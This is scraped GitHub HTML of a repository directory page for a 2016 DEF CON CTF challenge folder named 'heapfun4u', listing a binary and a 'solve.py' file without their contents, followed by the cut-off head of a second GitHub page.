<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/DaramG/ctf-writeup/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":59453325,"originating_url":"https://github.com/DaramG/ctf-writeup/tree/master/2016_defcon/heapfun4u","user_id":null}}" data-hydro-click-hmac="671a865a45c1271e4e1eff8f156a0eb711cc2e430fa077f4611fa1b2beffeaf6"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/DaramG/ctf-writeup/refs" cache-key="v0:1463982011.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="RGFyYW1HL2N0Zi13cml0ZXVw" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/DaramG/ctf-writeup/refs" cache-key="v0:1463982011.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="RGFyYW1HL2N0Zi13cml0ZXVw" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeup</span></span></span><span>/</span><span><span>2016_defcon</span></span><span>/</span>heapfun4u<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeup</span></span></span><span>/</span><span><span>2016_defcon</span></span><span>/</span>heapfun4u<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/DaramG/ctf-writeup/tree-commit/4b69e2f6c0aa79f4be819afdbf1834166d26bc06/2016_defcon/heapfun4u" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/DaramG/ctf-writeup/file-list/master/2016_defcon/heapfun4u"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>heapfun4u</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 